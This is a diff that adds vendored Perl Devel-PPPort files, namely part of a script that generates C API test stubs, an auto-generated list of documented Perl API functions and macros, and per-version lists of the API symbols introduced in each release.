+******************************************************************************/
+
+HEAD
+
+  if ($todo{$f->{name}}) {
+    my($ver,$sub) = $todo{$f->{name}} =~ /^5\.(\d{3})(\d{3})$/ or die;
+    for ($ver, $sub) {
+      s/^0+(\d)/$1/
+    }
+    if ($ver < 6 && $sub > 0) {
+      $sub =~ s/0$// or die;
+    }
+    print OUT "#if PERL_VERSION > $ver || (PERL_VERSION == $ver && PERL_SUBVERSION >= $sub) /* TODO */\n";
+  }
+
+  my $final = $varargs
+              ? "$Perl_$f->{name}$aTHX_args"
+              : "$f->{name}$args";
+
+  $f->{cond} and print OUT "#if $f->{cond}\n";
+
+  print OUT <<END;
+void _DPPP_test_$f->{name} (void)
+{
+  dXSARGS;
+$stack
+  {
+#ifdef $f->{name}
+    $ret$f->{name}$args;
+#endif
+  }
+
+  {
+#ifdef $f->{name}
+    $ret$final;
+#else
+    $ret$Perl_$f->{name}$aTHX_args;
+#endif
+  }
+}
+END
+
+  $f->{cond} and print OUT "#endif\n";
+  $todo{$f->{name}} and print OUT "#endif\n";
+
+  print OUT "\n";
+}
+
+ at ARGV and close OUT;

Added: vendor/perl/dist/dist/Devel-PPPort/parts/apidoc.fnc
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/apidoc.fnc	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/apidoc.fnc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,485 @@
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+:
+:  !!!! Do NOT edit this file directly! -- Edit devel/mkapidoc.sh instead. !!!!
+:
+:  This file was automatically generated from the API documentation scattered
+:  all over the Perl source code. To learn more about how all this works,
+:  please read the F<HACKERS> file that came with this distribution.
+:
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+
+:
+: This file lists all API functions/macros that are documented in the Perl
+: source code, but are not contained in F<embed.fnc>.
+:
+
+AmUx|Perl_keyword_plugin_t|PL_keyword_plugin
+AmU|Perl_check_t *|PL_check
+AmU|yy_parser *|PL_parser
+AmU||G_ARRAY
+AmU||G_DISCARD
+AmU||G_EVAL
+AmU||G_NOARGS
+AmU||G_SCALAR
+AmU||G_VOID
+AmU||HEf_SVKEY
+AmU||MARK
+AmU||Nullav
+AmU||Nullch
+AmU||Nullcv
+AmU||Nullhv
+AmU||Nullsv
+AmU||ORIGMARK
+AmU||SP
+AmU||SVt_INVLIST
+AmU||SVt_IV
+AmU||SVt_NULL
+AmU||SVt_NV
+AmU||SVt_PV
+AmU||SVt_PVAV
+AmU||SVt_PVCV
+AmU||SVt_PVFM
+AmU||SVt_PVGV
+AmU||SVt_PVHV
+AmU||SVt_PVIO
+AmU||SVt_PVIV
+AmU||SVt_PVLV
+AmU||SVt_PVMG
+AmU||SVt_PVNV
+AmU||SVt_REGEXP
+AmU||UNDERBAR
+AmU||XCPT_CATCH
+AmU||XCPT_TRY_END
+AmU||XCPT_TRY_START
+AmU||XS
+AmU||XS_EXTERNAL
+AmU||XS_INTERNAL
+AmU||XS_VERSION
+AmU||newXSproto|char* name|XSUBADDR_t f|char* filename|const char *proto
+AmU||svtype
+Ama|SV*|newSVpvs_flags|const char* s|U32 flags
+Ama|SV*|newSVpvs_share|const char* s
+Ama|SV*|newSVpvs|const char* s
+Ama|char*|savepvs|const char* s
+Ama|char*|savesharedpvs|const char* s
+Amn|(whatever)|RETVAL
+Amn|(whatever)|THIS
+Amn|HV*|PL_modglobal
+Amn|I32|ax
+Amn|I32|items
+Amn|I32|ix
+Amn|IV|POPi
+Amn|NV|POPn
+Amn|Perl_ophook_t|PL_opfreehook
+Amn|STRLEN|PL_na
+Amn|SV*|POPs
+Amn|SV|PL_sv_no
+Amn|SV|PL_sv_undef
+Amn|SV|PL_sv_yes
+Amn|U32|GIMME
+Amn|U32|GIMME_V
+Amn|UV|POPu
+Amn|char*|CLASS
+Amn|char*|POPp
+Amn|char*|POPpbytex
+Amn|char*|POPpx
+Amn|long|POPl
+Amn|long|POPul
+Amn|peep_t|PL_peepp
+Amn|peep_t|PL_rpeepp
+Amn|void|DECLARATION_FOR_LC_NUMERIC_MANIPULATION
+Ams||ENTER
+Ams||FREETMPS
+Ams||LEAVE
+Ams||MULTICALL
+Ams||POP_MULTICALL
+Ams||PUSH_MULTICALL
+Ams||PUTBACK
+Ams||SAVETMPS
+Ams||SPAGAIN
+Ams||XCPT_RETHROW
+Ams||XSRETURN_EMPTY
+Ams||XSRETURN_NO
+Ams||XSRETURN_UNDEF
+Ams||XSRETURN_YES
+Ams||XS_APIVERSION_BOOTCHECK
+Ams||XS_VERSION_BOOTCHECK
+Ams||dAX
+Ams||dAXMARK
+Ams||dITEMS
+Ams||dMARK
+Ams||dMULTICALL
+Ams||dORIGMARK
+Ams||dSP
+Ams||dUNDERBAR
+Ams||dXCPT
+Ams||dXSARGS
+Ams||dXSI32
+AmxU|PAD *|PL_comppad
+AmxU|PADNAMELIST *|PL_comppad_name
+AmxU|SV **|PL_curpad
+AmxU|SV *|PL_parser-E<gt>linestr
+AmxU|char *|PL_parser-E<gt>bufend
+AmxU|char *|PL_parser-E<gt>bufptr
+AmxU|char *|PL_parser-E<gt>linestart
+Amx|COPHH *|cophh_copy|COPHH *cophh
+Amx|COPHH *|cophh_delete_pvn|COPHH *cophh|const char *keypv|STRLEN keylen|U32 hash|U32 flags
+Amx|COPHH *|cophh_delete_pvs|const COPHH *cophh|const char *key|U32 flags
+Amx|COPHH *|cophh_delete_pv|const COPHH *cophh|const char *key|U32 hash|U32 flags
+Amx|COPHH *|cophh_delete_sv|const COPHH *cophh|SV *key|U32 hash|U32 flags
+Amx|COPHH *|cophh_new_empty
+Amx|COPHH *|cophh_store_pvn|COPHH *cophh|const char *keypv|STRLEN keylen|U32 hash|SV *value|U32 flags
+Amx|COPHH *|cophh_store_pvs|const COPHH *cophh|const char *key|SV *value|U32 flags
+Amx|COPHH *|cophh_store_pv|const COPHH *cophh|const char *key|U32 hash|SV *value|U32 flags
+Amx|COPHH *|cophh_store_sv|const COPHH *cophh|SV *key|U32 hash|SV *value|U32 flags
+Amx|HV *|cophh_2hv|const COPHH *cophh|U32 flags
+Amx|PAD **|PadlistARRAY|PADLIST padlist
+Amx|PADLIST *|CvPADLIST|CV *cv
+Amx|PADNAME **|PadlistNAMESARRAY|PADLIST padlist
+Amx|PADNAME **|PadnamelistARRAY|PADNAMELIST pnl
+Amx|PADNAMELIST *|PadlistNAMES|PADLIST padlist
+Amx|SSize_t|PadMAX|PAD pad
+Amx|SSize_t|PadlistMAX|PADLIST padlist
+Amx|SSize_t|PadlistNAMESMAX|PADLIST padlist
+Amx|SSize_t|PadnameREFCNT|PADNAME pn
+Amx|SSize_t|PadnamelistMAX|PADNAMELIST pnl
+Amx|SSize_t|PadnamelistREFCNT|PADNAMELIST pnl
+Amx|STRLEN|PadnameLEN|PADNAME pn
+Amx|SV **|PadARRAY|PAD pad
+Amx|SV *|PadnameSV|PADNAME pn
+Amx|SV *|cophh_fetch_pvn|const COPHH *cophh|const char *keypv|STRLEN keylen|U32 hash|U32 flags
+Amx|SV *|cophh_fetch_pvs|const COPHH *cophh|const char *key|U32 flags
+Amx|SV *|cophh_fetch_pv|const COPHH *cophh|const char *key|U32 hash|U32 flags
+Amx|SV *|cophh_fetch_sv|const COPHH *cophh|SV *key|U32 hash|U32 flags
+Amx|SV*|newSVpadname|PADNAME *pn
+Amx|U32|PadlistREFCNT|PADLIST padlist
+Amx|bool|PadnameUTF8|PADNAME pn
+Amx|char *|PadnamePV|PADNAME pn
+Amx|void|BhkDISABLE|BHK *hk|which
+Amx|void|BhkENABLE|BHK *hk|which
+Amx|void|BhkENTRY_set|BHK *hk|which|void *ptr
+Amx|void|PadnameREFCNT_dec|PADNAME pn
+Amx|void|PadnamelistREFCNT_dec|PADNAMELIST pnl
+Amx|void|cophh_free|COPHH *cophh
+Amx|void|lex_stuff_pvs|const char *pv|U32 flags
+Am|AV*|GvAV|GV* gv
+Am|CV*|GvCV|GV* gv
+Am|HV *|cop_hints_2hv|const COP *cop|U32 flags
+Am|HV*|CvSTASH|CV* cv
+Am|HV*|GvHV|GV* gv
+Am|HV*|SvSTASH|SV* sv
+Am|HV*|gv_stashpvs|const char* name|I32 create
+Am|IV|SvIVX|SV* sv
+Am|IV|SvIV_nomg|SV* sv
+Am|IV|SvIVx|SV* sv
+Am|IV|SvIV|SV* sv
+Am|NV|SvNVX|SV* sv
+Am|NV|SvNV_nomg|SV* sv
+Am|NV|SvNVx|SV* sv
+Am|NV|SvNV|SV* sv
+Am|OP*|LINKLIST|OP *o
+Am|OP*|OpSIBLING|OP *o
+Am|PADOFFSET|pad_add_name_pvs|const char *name|U32 flags|HV *typestash|HV *ourstash
+Am|PADOFFSET|pad_findmy_pvs|const char *name|U32 flags
+Am|REGEXP *|SvRX|SV *sv
+Am|STRLEN|HeKLEN|HE* he
+Am|STRLEN|HvENAMELEN|HV *stash
+Am|STRLEN|HvNAMELEN|HV *stash
+Am|STRLEN|SvCUR|SV* sv
+Am|STRLEN|SvLEN|SV* sv
+Am|STRLEN|UTF8SKIP|char* s
+Am|STRLEN|UVCHR_SKIP|UV cp
+Am|STRLEN|isUTF8_CHAR|const U8 *s|const U8 *e
+Am|SV *|boolSV|bool b
+Am|SV *|cop_hints_fetch_pvn|const COP *cop|const char *keypv|STRLEN keylen|U32 hash|U32 flags
+Am|SV *|cop_hints_fetch_pvs|const COP *cop|const char *key|U32 flags
+Am|SV *|cop_hints_fetch_pv|const COP *cop|const char *key|U32 hash|U32 flags
+Am|SV *|cop_hints_fetch_sv|const COP *cop|SV *key|U32 hash|U32 flags
+Am|SV *|sv_setref_pvs|const char* s
+Am|SV**|hv_fetchs|HV* tb|const char* key|I32 lval
+Am|SV**|hv_stores|HV* tb|const char* key|NULLOK SV* val
+Am|SV*|GvSV|GV* gv
+Am|SV*|HeSVKEY_force|HE* he
+Am|SV*|HeSVKEY_set|HE* he|SV* sv
+Am|SV*|HeSVKEY|HE* he
+Am|SV*|HeVAL|HE* he
+Am|SV*|ST|int ix
+Am|SV*|SvREFCNT_inc_NN|SV* sv
+Am|SV*|SvREFCNT_inc_simple_NN|SV* sv
+Am|SV*|SvREFCNT_inc_simple|SV* sv
+Am|SV*|SvREFCNT_inc|SV* sv
+Am|SV*|SvRV|SV* sv
+Am|SV*|newRV_inc|SV* sv
+Am|SV*|newSVpvn_utf8|NULLOK const char* s|STRLEN len|U32 utf8
+Am|U32|HeHASH|HE* he
+Am|U32|HeUTF8|HE* he
+Am|U32|OP_CLASS|OP *o
+Am|U32|SvGAMAGIC|SV* sv
+Am|U32|SvIOKp|SV* sv
+Am|U32|SvIOK|SV* sv
+Am|U32|SvIsCOW|SV* sv
+Am|U32|SvNIOKp|SV* sv
+Am|U32|SvNIOK|SV* sv
+Am|U32|SvNOKp|SV* sv
+Am|U32|SvNOK|SV* sv
+Am|U32|SvOK|SV* sv
+Am|U32|SvOOK|SV* sv
+Am|U32|SvPOKp|SV* sv
+Am|U32|SvPOK|SV* sv
+Am|U32|SvREFCNT|SV* sv
+Am|U32|SvROK|SV* sv
+Am|U32|SvUTF8|SV* sv
+Am|U32|XopFLAGS|XOP *xop
+Am|U8|READ_XDIGIT|char str*
+Am|U8|toFOLD|U8 ch
+Am|U8|toLOWER_L1|U8 ch
+Am|U8|toLOWER_LC|U8 ch
+Am|U8|toLOWER|U8 ch
+Am|U8|toTITLE|U8 ch
+Am|U8|toUPPER|U8 ch
+Am|UV|SvUVX|SV* sv
+Am|UV|SvUV_nomg|SV* sv
+Am|UV|SvUVx|SV* sv
+Am|UV|SvUV|SV* sv
+Am|UV|toFOLD_utf8|U8* p|U8* s|STRLEN* lenp
+Am|UV|toFOLD_uvchr|UV cp|U8* s|STRLEN* lenp
+Am|UV|toLOWER_utf8|U8* p|U8* s|STRLEN* lenp
+Am|UV|toLOWER_uvchr|UV cp|U8* s|STRLEN* lenp
+Am|UV|toTITLE_utf8|U8* p|U8* s|STRLEN* lenp
+Am|UV|toTITLE_uvchr|UV cp|U8* s|STRLEN* lenp
+Am|UV|toUPPER_utf8|U8* p|U8* s|STRLEN* lenp
+Am|UV|toUPPER_uvchr|UV cp|U8* s|STRLEN* lenp
+Am|bool|DO_UTF8|SV* sv
+Am|bool|OP_TYPE_IS_OR_WAS|OP *o|Optype type
+Am|bool|OP_TYPE_IS|OP *o|Optype type
+Am|bool|OpHAS_SIBLING|OP *o
+Am|bool|SvIOK_UV|SV* sv
+Am|bool|SvIOK_notUV|SV* sv
+Am|bool|SvIsCOW_shared_hash|SV* sv
+Am|bool|SvRXOK|SV* sv
+Am|bool|SvTAINTED|SV* sv
+Am|bool|SvTRUE_nomg|SV* sv
+Am|bool|SvTRUE|SV* sv
+Am|bool|SvUOK|SV* sv
+Am|bool|SvVOK|SV* sv
+Am|bool|isALPHANUMERIC|char ch
+Am|bool|isALPHA|char ch
+Am|bool|isASCII|char ch
+Am|bool|isBLANK|char ch
+Am|bool|isCNTRL|char ch
+Am|bool|isDIGIT|char ch
+Am|bool|isGRAPH|char ch
+Am|bool|isIDCONT|char ch
+Am|bool|isIDFIRST|char ch
+Am|bool|isLOWER|char ch
+Am|bool|isOCTAL|char ch
+Am|bool|isPRINT|char ch
+Am|bool|isPSXSPC|char ch
+Am|bool|isPUNCT|char ch
+Am|bool|isSPACE|char ch
+Am|bool|isUPPER|char ch
+Am|bool|isWORDCHAR|char ch
+Am|bool|isXDIGIT|char ch
+Am|bool|memEQ|char* s1|char* s2|STRLEN len
+Am|bool|memNE|char* s1|char* s2|STRLEN len
+Am|bool|strEQ|char* s1|char* s2
+Am|bool|strGE|char* s1|char* s2
+Am|bool|strGT|char* s1|char* s2
+Am|bool|strLE|char* s1|char* s2
+Am|bool|strLT|char* s1|char* s2
+Am|bool|strNE|char* s1|char* s2
+Am|bool|strnEQ|char* s1|char* s2|STRLEN len
+Am|bool|strnNE|char* s1|char* s2|STRLEN len
+Am|char *|SvGROW|SV* sv|STRLEN len
+Am|char*|HePV|HE* he|STRLEN len
+Am|char*|HvENAME|HV* stash
+Am|char*|HvNAME|HV* stash
+Am|char*|SvEND|SV* sv
+Am|char*|SvPVX|SV* sv
+Am|char*|SvPV_force_nomg|SV* sv|STRLEN len
+Am|char*|SvPV_force|SV* sv|STRLEN len
+Am|char*|SvPV_nolen|SV* sv
+Am|char*|SvPV_nomg_nolen|SV* sv
+Am|char*|SvPV_nomg|SV* sv|STRLEN len
+Am|char*|SvPVbyte_force|SV* sv|STRLEN len
+Am|char*|SvPVbyte_nolen|SV* sv
+Am|char*|SvPVbytex_force|SV* sv|STRLEN len
+Am|char*|SvPVbytex|SV* sv|STRLEN len
+Am|char*|SvPVbyte|SV* sv|STRLEN len
+Am|char*|SvPVutf8_force|SV* sv|STRLEN len
+Am|char*|SvPVutf8_nolen|SV* sv
+Am|char*|SvPVutf8x_force|SV* sv|STRLEN len
+Am|char*|SvPVutf8x|SV* sv|STRLEN len
+Am|char*|SvPVutf8|SV* sv|STRLEN len
+Am|char*|SvPVx|SV* sv|STRLEN len
+Am|char*|SvPV|SV* sv|STRLEN len
+Am|const char *|OP_DESC|OP *o
+Am|const char *|OP_NAME|OP *o
+Am|int|AvFILL|AV* av
+Am|svtype|SvTYPE|SV* sv
+Am|unsigned char|HvENAMEUTF8|HV *stash
+Am|unsigned char|HvNAMEUTF8|HV *stash
+Am|void *|CopyD|void* src|void* dest|int nitems|type
+Am|void *|MoveD|void* src|void* dest|int nitems|type
+Am|void *|ZeroD|void* dest|int nitems|type
+Am|void*|HeKEY|HE* he
+Am|void|Copy|void* src|void* dest|int nitems|type
+Am|void|EXTEND|SP|SSize_t nitems
+Am|void|Move|void* src|void* dest|int nitems|type
+Am|void|Newxc|void* ptr|int nitems|type|cast
+Am|void|Newxz|void* ptr|int nitems|type
+Am|void|Newx|void* ptr|int nitems|type
+Am|void|OpLASTSIB_set|OP *o|OP *parent
+Am|void|OpMAYBESIB_set|OP *o|OP *sib|OP *parent
+Am|void|OpMORESIB_set|OP *o|OP *sib
+Am|void|PERL_SYS_INIT3|int *argc|char*** argv|char*** env
+Am|void|PERL_SYS_INIT|int *argc|char*** argv
+Am|void|PERL_SYS_TERM|
+Am|void|PUSHMARK|SP
+Am|void|PUSHi|IV iv
+Am|void|PUSHmortal
+Am|void|PUSHn|NV nv
+Am|void|PUSHp|char* str|STRLEN len
+Am|void|PUSHs|SV* sv
+Am|void|PUSHu|UV uv
+Am|void|PoisonFree|void* dest|int nitems|type
+Am|void|PoisonNew|void* dest|int nitems|type
+Am|void|PoisonWith|void* dest|int nitems|type|U8 byte
+Am|void|Poison|void* dest|int nitems|type
+Am|void|RESTORE_LC_NUMERIC
+Am|void|Renewc|void* ptr|int nitems|type|cast
+Am|void|Renew|void* ptr|int nitems|type
+Am|void|STORE_LC_NUMERIC_FORCE_TO_UNDERLYING
+Am|void|STORE_LC_NUMERIC_SET_TO_NEEDED
+Am|void|Safefree|void* ptr
+Am|void|StructCopy|type *src|type *dest|type
+Am|void|SvCUR_set|SV* sv|STRLEN len
+Am|void|SvGETMAGIC|SV* sv
+Am|void|SvIOK_off|SV* sv
+Am|void|SvIOK_only_UV|SV* sv
+Am|void|SvIOK_only|SV* sv
+Am|void|SvIOK_on|SV* sv
+Am|void|SvIV_set|SV* sv|IV val
+Am|void|SvLEN_set|SV* sv|STRLEN len
+Am|void|SvLOCK|SV* sv
+Am|void|SvMAGIC_set|SV* sv|MAGIC* val
+Am|void|SvNIOK_off|SV* sv
+Am|void|SvNOK_off|SV* sv
+Am|void|SvNOK_only|SV* sv
+Am|void|SvNOK_on|SV* sv
+Am|void|SvNV_set|SV* sv|NV val
+Am|void|SvOOK_offset|NN SV*sv|STRLEN len
+Am|void|SvPOK_off|SV* sv
+Am|void|SvPOK_only_UTF8|SV* sv
+Am|void|SvPOK_only|SV* sv
+Am|void|SvPOK_on|SV* sv
+Am|void|SvPV_set|SV* sv|char* val
+Am|void|SvREFCNT_dec_NN|SV* sv
+Am|void|SvREFCNT_dec|SV* sv
+Am|void|SvREFCNT_inc_simple_void_NN|SV* sv
+Am|void|SvREFCNT_inc_simple_void|SV* sv
+Am|void|SvREFCNT_inc_void_NN|SV* sv
+Am|void|SvREFCNT_inc_void|SV* sv
+Am|void|SvROK_off|SV* sv
+Am|void|SvROK_on|SV* sv
+Am|void|SvRV_set|SV* sv|SV* val
+Am|void|SvSETMAGIC|SV* sv
+Am|void|SvSHARE|SV* sv
+Am|void|SvSTASH_set|SV* sv|HV* val
+Am|void|SvSetMagicSV_nosteal|SV* dsv|SV* ssv
+Am|void|SvSetMagicSV|SV* dsv|SV* ssv
+Am|void|SvSetSV_nosteal|SV* dsv|SV* ssv
+Am|void|SvSetSV|SV* dsv|SV* ssv
+Am|void|SvTAINTED_off|SV* sv
+Am|void|SvTAINTED_on|SV* sv
+Am|void|SvTAINT|SV* sv
+Am|void|SvUNLOCK|SV* sv
+Am|void|SvUPGRADE|SV* sv|svtype type
+Am|void|SvUTF8_off|SV *sv
+Am|void|SvUTF8_on|SV *sv
+Am|void|SvUV_set|SV* sv|UV val
+Am|void|XPUSHi|IV iv
+Am|void|XPUSHmortal
+Am|void|XPUSHn|NV nv
+Am|void|XPUSHp|char* str|STRLEN len
+Am|void|XPUSHs|SV* sv
+Am|void|XPUSHu|UV uv
+Am|void|XSRETURN_IV|IV iv
+Am|void|XSRETURN_NV|NV nv
+Am|void|XSRETURN_PV|char* str
+Am|void|XSRETURN_UV|IV uv
+Am|void|XSRETURN|int nitems
+Am|void|XST_mIV|int pos|IV iv
+Am|void|XST_mNO|int pos
+Am|void|XST_mNV|int pos|NV nv
+Am|void|XST_mPV|int pos|char* str
+Am|void|XST_mUNDEF|int pos
+Am|void|XST_mYES|int pos
+Am|void|XopDISABLE|XOP *xop|which
+Am|void|XopENABLE|XOP *xop|which
+Am|void|XopENTRY_set|XOP *xop|which|value
+Am|void|Zero|void* dest|int nitems|type
+Am|void|mPUSHi|IV iv
+Am|void|mPUSHn|NV nv
+Am|void|mPUSHp|char* str|STRLEN len
+Am|void|mPUSHs|SV* sv
+Am|void|mPUSHu|UV uv
+Am|void|mXPUSHi|IV iv
+Am|void|mXPUSHn|NV nv
+Am|void|mXPUSHp|char* str|STRLEN len
+Am|void|mXPUSHs|SV* sv
+Am|void|mXPUSHu|UV uv
+Am|void|sv_catpv_nomg|SV* sv|const char* ptr
+Am|void|sv_catpvn_nomg|SV* sv|const char* ptr|STRLEN len
+Am|void|sv_catpvs_flags|SV* sv|const char* s|I32 flags
+Am|void|sv_catpvs_mg|SV* sv|const char* s
+Am|void|sv_catpvs_nomg|SV* sv|const char* s
+Am|void|sv_catpvs|SV* sv|const char* s
+Am|void|sv_catsv_nomg|SV* dsv|SV* ssv
+Am|void|sv_setpvs_mg|SV* sv|const char* s
+Am|void|sv_setpvs|SV* sv|const char* s
+Am|void|sv_setsv_nomg|SV* dsv|SV* ssv
+Am||XopENTRYCUSTOM|const OP *o|which
+Am||XopENTRY|XOP *xop|which
+mU||LVRET
+mn|GV *|PL_DBsub
+mn|GV*|PL_last_in_gv
+mn|GV*|PL_ofsgv
+mn|SV *|PL_DBsingle
+mn|SV *|PL_DBtrace
+mn|SV*|PL_rs
+mn|bool|PL_dowarn
+ms||djSP
+mx|U32|BhkFLAGS|BHK *hk
+mx|void *|BhkENTRY|BHK *hk|which
+mx|void|CALL_BLOCK_HOOKS|which|arg
+m|HV *|PAD_COMPNAME_OURSTASH|PADOFFSET po
+m|HV *|PAD_COMPNAME_TYPE|PADOFFSET po
+m|HV *|PadnameOURSTASH
+m|HV *|PadnameTYPE|PADNAME pn
+m|STRLEN|PAD_COMPNAME_GEN_set|PADOFFSET po|int gen
+m|STRLEN|PAD_COMPNAME_GEN|PADOFFSET po
+m|SV *|CX_CURPAD_SV|struct context|PADOFFSET po
+m|SV *|PAD_BASE_SV	|PADLIST padlist|PADOFFSET po
+m|SV *|PAD_SETSV	|PADOFFSET po|SV* sv
+m|SV *|PAD_SV	|PADOFFSET po
+m|SV *|PAD_SVl	|PADOFFSET po
+m|SV *|refcounted_he_fetch_pvs|const struct refcounted_he *chain|const char *key|U32 flags
+m|U32|PAD_COMPNAME_FLAGS|PADOFFSET po
+m|U32|SvTHINKFIRST|SV *sv
+m|bool|CvWEAKOUTSIDE|CV *cv
+m|bool|PadnameIsOUR|PADNAME pn
+m|bool|PadnameIsSTATE|PADNAME pn
+m|bool|PadnameOUTER|PADNAME pn
+m|char *|PAD_COMPNAME_PV|PADOFFSET po
+m|struct refcounted_he *|refcounted_he_new_pvs|struct refcounted_he *parent|const char *key|SV *value|U32 flags
+m|void|CX_CURPAD_SAVE|struct context
+m|void|PAD_CLONE_VARS|PerlInterpreter *proto_perl|CLONE_PARAMS* param
+m|void|PAD_RESTORE_LOCAL|PAD *opad
+m|void|PAD_SAVE_LOCAL|PAD *opad|PAD *npad
+m|void|PAD_SAVE_SETNULLPAD
+m|void|PAD_SET_CUR	|PADLIST padlist|I32 n
+m|void|PAD_SET_CUR_NOSAVE	|PADLIST padlist|I32 n
+m|void|SAVECLEARSV	|SV **svp
+m|void|SAVECOMPPAD
+m|void|SAVEPADSV	|PADOFFSET po

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5003070
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5003070	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5003070	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,42 @@
+5.003070
+HEf_SVKEY                      # E
+HeHASH                         # U
+HeKEY                          # U
+HeKLEN                         # U
+HeSVKEY                        # U
+HeSVKEY_force                  # U
+HeVAL                          # U
+cv_const_sv                    # U
+do_open                        # E (Perl_do_open)
+gv_efullname3                  # U
+gv_fullname3                   # U
+gv_stashpvn                    # E
+hv_delete_ent                  # U
+hv_exists_ent                  # U
+hv_fetch_ent                   # U
+hv_iterkeysv                   # E
+hv_ksplit                      # E
+hv_store_ent                   # U
+my_pclose                      # E (Perl_my_pclose)
+my_popen                       # E (Perl_my_popen)
+sv_gets                        # E (Perl_sv_gets)
+unsharepvn                     # E
+PERL_HASH                      # added by devel/scanprov
+PERL_INT_MAX                   # added by devel/scanprov
+PERL_INT_MIN                   # added by devel/scanprov
+PERL_LONG_MAX                  # added by devel/scanprov
+PERL_LONG_MIN                  # added by devel/scanprov
+PERL_QUAD_MAX                  # added by devel/scanprov
+PERL_QUAD_MIN                  # added by devel/scanprov
+PERL_SHORT_MAX                 # added by devel/scanprov
+PERL_SHORT_MIN                 # added by devel/scanprov
+PERL_UCHAR_MAX                 # added by devel/scanprov
+PERL_UCHAR_MIN                 # added by devel/scanprov
+PERL_UINT_MAX                  # added by devel/scanprov
+PERL_UINT_MIN                  # added by devel/scanprov
+PERL_ULONG_MAX                 # added by devel/scanprov
+PERL_ULONG_MIN                 # added by devel/scanprov
+PERL_UQUAD_MAX                 # added by devel/scanprov
+PERL_UQUAD_MIN                 # added by devel/scanprov
+PERL_USHORT_MAX                # added by devel/scanprov
+PERL_USHORT_MIN                # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5004000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5004000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5004000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,52 @@
+5.004000
+GIMME_V                        # E
+G_VOID                         # E
+HePV                           # A
+HeSVKEY_set                    # U
+POPu                           # E
+PUSHu                          # U
+SvSetMagicSV                   # U
+SvSetMagicSV_nosteal           # U
+SvSetSV_nosteal                # U
+SvTAINTED                      # U
+SvTAINTED_off                  # U
+SvTAINTED_on                   # U
+SvUV                           # U
+SvUVX                          # U
+SvUVx                          # U
+XPUSHu                         # U
+block_end                      # E (Perl_block_end)
+block_gimme                    # E
+block_start                    # E (Perl_block_start)
+boolSV                         # U
+call_list                      # E
+delimcpy                       # U
+gv_autoload4                   # U
+gv_fetchmethod_autoload        # E
+hv_delayfree_ent               # E
+hv_free_ent                    # E
+ibcmp_locale                   # U
+intro_my                       # E
+isPRINT                        # U
+memEQ                          # U
+memNE                          # U
+my_failure_exit                # E
+newRV_inc                      # U
+newRV_noinc                    # E
+rsignal                        # E
+rsignal_state                  # E
+save_I16                       # E
+save_gp                        # E
+share_hek                      # E
+start_subparse                 # E (Perl_start_subparse)
+sv_2uv                         # U
+sv_cmp_locale                  # E
+sv_derived_from                # E
+sv_setuv                       # E
+sv_taint                       # U
+sv_tainted                     # E
+sv_untaint                     # E
+sv_vcatpvfn                    # E
+sv_vsetpvfn                    # E
+toLOWER_LC                     # U
+SvUVXx                         # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5004010
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5004010	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5004010	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.004010

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5004020
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5004020	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5004020	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.004020

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5004030
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5004030	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5004030	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.004030

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5004040
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5004040	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5004040	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.004040

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5004050
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5004050	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5004050	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,42 @@
+5.004050
+PL_na                          # E
+PL_sv_no                       # E
+PL_sv_undef                    # E
+PL_sv_yes                      # E
+SvGETMAGIC                     # U
+do_binmode                     # E
+my_bcopy                       # U
+newCONSTSUB                    # E
+newSVpvn                       # E
+save_aelem                     # U
+save_helem                     # U
+sv_catpv_mg                    # E
+sv_catpvn_mg                   # U
+sv_catsv_mg                    # U
+sv_setiv_mg                    # E
+sv_setpv_mg                    # E
+sv_setpvn_mg                   # E
+sv_setsv_mg                    # E
+sv_setuv_mg                    # E
+sv_usepvn_mg                   # U
+AvFILLp                        # added by devel/scanprov
+DEFSV                          # added by devel/scanprov
+ERRSV                          # added by devel/scanprov
+PL_compiling                   # added by devel/scanprov
+PL_curcop                      # added by devel/scanprov
+PL_curstash                    # added by devel/scanprov
+PL_debstash                    # added by devel/scanprov
+PL_defgv                       # added by devel/scanprov
+PL_diehook                     # added by devel/scanprov
+PL_dirty                       # added by devel/scanprov
+PL_errgv                       # added by devel/scanprov
+PL_perl_destruct_level         # added by devel/scanprov
+PL_perldb                      # added by devel/scanprov
+PL_stack_base                  # added by devel/scanprov
+PL_stack_sp                    # added by devel/scanprov
+PL_stdingv                     # added by devel/scanprov
+PL_sv_arenaroot                # added by devel/scanprov
+PL_tainted                     # added by devel/scanprov
